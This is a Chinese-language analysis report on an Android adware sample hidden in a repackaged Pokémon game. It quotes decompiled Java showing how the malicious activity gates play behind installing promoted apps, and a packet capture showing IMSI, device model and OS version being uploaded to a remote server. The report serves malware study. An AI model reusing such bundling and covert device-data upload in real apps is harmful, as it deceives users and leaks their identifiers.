Android恶意代码分析参考模板.docx
- 文档编号:14573228
- 上传时间:2023-06-24
- 格式:DOCX
- 页数:11
- 大小:91.88KB
Android恶意代码分析参考模板.docx
《Android恶意代码分析参考模板.docx》由会员分享,可在线阅读,更多相关《Android恶意代码分析参考模板.docx(11页珍藏版)》请在冰点文库上搜索。
Android恶意代码分析参考模板
Android恶意代码分析
之前都是在分析PE文件的,这个是找工作时的一个笔试题分析一个android恶意。
用了一个星期熟悉java和android的东西然后写了这个分析有什么不对的地方还请大家见谅
1.基本信息
病毒名称:
未知
病毒类型:
含恶意广告
样本MD5:
4360c2c29ed03898b925e07f4d648b4e
样本大小:
7.43MB
2.概述
恶意代码部分先于程序启动加载自己的页面,用户只有点击“获取积分“,下载一个它提供的应用才获取积分能开始游戏,同时恶意代码获取手机的手机型号系统版本IMSIicd等信息到发送到219.234.85.220/219.234.85.222。
3.静态分析
恶意代码在正常应用上进行绑定,恶意代码部分主要在下图标红部分。
manifest.xml分析
权限列表
name="android.permission.VIBRATE"/>允许设备振动 name="android.permission.WRITE_EXTERNAL_STORAGE"/>操作外部存储设备 name="android.permission.INTERNET"/>允许打开网络套接字 name="android.permission.INSTALL_PACKAGES"/>允许安装程序 name="android.permission.ACCESS_NETWORK_STATE"/>允许程序访问有关GSM网络信息 name="android.permission.ACCESS_WIFI_STATE"/>允许程序访问Wi-Fi网络状态信息 name="android.permission.READ_PHONE_STATE"/>读取电话状态 name="android.permission.GET_TASKS"/>允许一个程序获取信息有关当前或最近运行的任务,一个缩略的任务状态,是否活动等等 恶意activity name="com.androidemu.gba.gba.Mym"android: configChanges="keyboardHidden|orientation"/> name="com.androidemu.gba.gba.LogOut"/> ////////////////////////////////////////////////////////////////////////////////////////////// 代码分析 分析程序入口 protectedvoidonCreate(BundleparamBundle)// { this.settings=getSharedPreferences("MainActivity",0); super.onCreate(paramBundle); setVolumeControlStream(3); setTitle(2131165197); getListView().setOnCreateContextMenuListener(this); this.creatingShortcut="android.intent.action.CREATE_SHORTCUT".equals(getIntent().getAction()); aeo();//此函数中会开启 name="com.androidemu.gba.gba.LogOut"/> } ////////////////////////////////////////////////////////////////////////////////////////////////////// publicvoidaeo() { this.Captain=newCaptain(this); if((this.Captain.isOpen())&&(! Captain.PN.isGame)) { AppConnect.getInstance("a5a4c7af109259db240c3a6917409553","WAPS",this);//写入数据,获取网络状态 AppConnect.getInstance(this).setAdViewClassName("com.androidemu.gba.gba.Mym"); //OfferName=com.androidemu.gba.gba.Mym 存储到"AppSettings startActivity(newIntent(this,LogOut.class));开启 name="com.androidemu.gba.gba.LogOut"/> finish(); } while(true) { return; Captain.PN.isGame=false; klz(); } } ////////////////////////////////////////////////////////////////////////////////////////////////////// 分析classLogOutextendsActivity publicvoidonCreate(BundleparamBundle) { requestWindowFeature (1); getWindow().setFlags(1024,1024); super.onCreate(paramBundle); bujuset();//显示积分大于0即可永久免费无广告全屏运行……等的窗口 如果积分大于0开始真正的游戏,否则如果“获取积分被点击”联网显示应用列表 上传手机信息。 AppConnect.getInstance(this); } privatevoidbujuset() { LinearLayoutlocalLinearLayout=newLinearLayout(this); localLinearLayout.setGravity(17); localLinearLayout.setOrientation (1); TextViewlocalTextView1=newTextView(this); TextViewlocalTextView2=newTextView(this); localTextView2.setId (1); localTextView1.setWidth(-2); localTextView2.setWidth(-2); localTextView1.setGravity(17); localTextView2.setGravity(17); ButtonlocalButton1=newButton(this); ButtonlocalButton2=newButton(this); localButton1.setHeight(90); localButton2.setHeight(90); ImageViewlocalImageView=newImageView(this); localImageView.setImageResource(2130837504); localTextView1.setText("积分大于0即可永久免费无广告全屏运行"); localTextView2.setText("积分加载中..."); localButton1.setText("开始游戏"); localButton2.setText("免费获取积分"); localLinearLayout.addView(localImageView); localLinearLayout.addView(localTextView1); localLinearLayout.addView(localTextView2); localLinearLayout.addView(localButton1); localLinearLayout.addView(localButton2); setContentView(localLinearLayout); localButton1.setOnClickListener(newView.OnClickListener()//点击开始游戏 { publicvoidonClick(ViewparamView) { if(LogOut.this.point>0)//如果几分大于0那么进入游戏 { com.trendy.pokemontk.Captain.PN.isGame=true; IntentlocalIntent=LogOut.this.getBaseContext().getPackageManager().getLaunchIntentForPackage(LogOut.this.getBaseContext().getPackageName()); localIntent.addFlags(67108864); LogOut.this.startActivity(localIntent);//开启游戏的activitycom.trendy.pokemontk.Alarmreceiver LogOut.this.finish(); } while(true) { return; com.trendy.pokemontk.Captain.PN.isGame=false; Toast.makeText(LogOut.this.getApplicationContext(),"积分不足,请点击免费获取积分的按钮",1).show(); } } }); localButton2.setOnClickListener(newView.OnClickListener()//点击获取积分 { publicvoidonClick(ViewparamView) { AppConnect.getInstance(paramView.getContext()).showOffers(paramView.getContext()); } }); } publicvoidshowOffers(ContextparamContext) { a(paramContext,b,y.e+this.H); paramContext, b, http: //app/action/account/offerlist? } privatevoida(ContextparamContext,StringparamString1,StringparamString2) { try { IntentlocalIntent=newIntent(paramContext,h(paramContext)); //参数二: com.androidemu.gba.gba.Mym //另: publicclassMymextendsOffersWebView localIntent.setFlags(268435456); localIntent.putExtra("Offers_URL",paramString2);//http: //app/action/account/offerlist? 广告应用列表地址 localIntent.putExtra("USER_ID",paramString1); localIntent.putExtra("URL_PARAMS",c); localIntent.putExtra("CLIENT_PACKAGE",this.J); localIntent.putExtra("offers_webview_tag","OffersWebView"); paramContext.startActivity(localIntent);//启动activitycom.androidemu.gba.gba.Mym 显示广告发送手机型号系统版本IMSIicd等信息到219.234.85.220 return; } catch(ExceptionlocalException) { while(true) localException.printStackTrace(); } } 分析com.androidemu.gba.gba.Mym com.androidemu.gba.gba.Mym的解析出现错误 但是根据开启activity的intent localIntent.putExtra("USER_ID",paramString1); localIntent.putExtra("URL_PARAMS",c); localIntent.putExtra("CLIENT_PACKAGE",this.J); localIntent.putExtra("offers_webview_tag","OffersWebView"); 可以推断这个部分是显示应用列表上传手机的相关信息。 如下图waps/SDKUtils包含的api以及抓包的分析也可以可推断。 抓包 1510 249.394056000 27.18.59.151219.234.85.220 HTTP 607 GET/action/connect/active? app_id=a5a4c7af109259db240c3a6917409553&udid=250824171159829&imsi=310260371538173&net=wifi&base=&app_version=1.3.8&sdk_version=1.7.1&device_name=GT-N7000&device_brand=samsung&y=5ab68cc24a4025769552c1aec9cc36d7&device_type=android&os_version=2.3.4&country_code=CN&language=zh&cid=5ist3abgr1f1jt30q0sff2pkd81j7gsc&act=com.trendy.pokemontk.MainActivity&channel=WAPS&device_width=1024&device_height=600&at=1355563304240HTTP/1.1 如上抓包的内容显示程序上传了手机型号系统版本imsi等等信息 (本资料素材和资料部分来自网络,仅供参考。 请预览后才下载,期待您的好评与关注! )
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Android 恶意代码 分析 参考 模板
![提示](https://static.bingdoc.com/images/bang_tan.gif)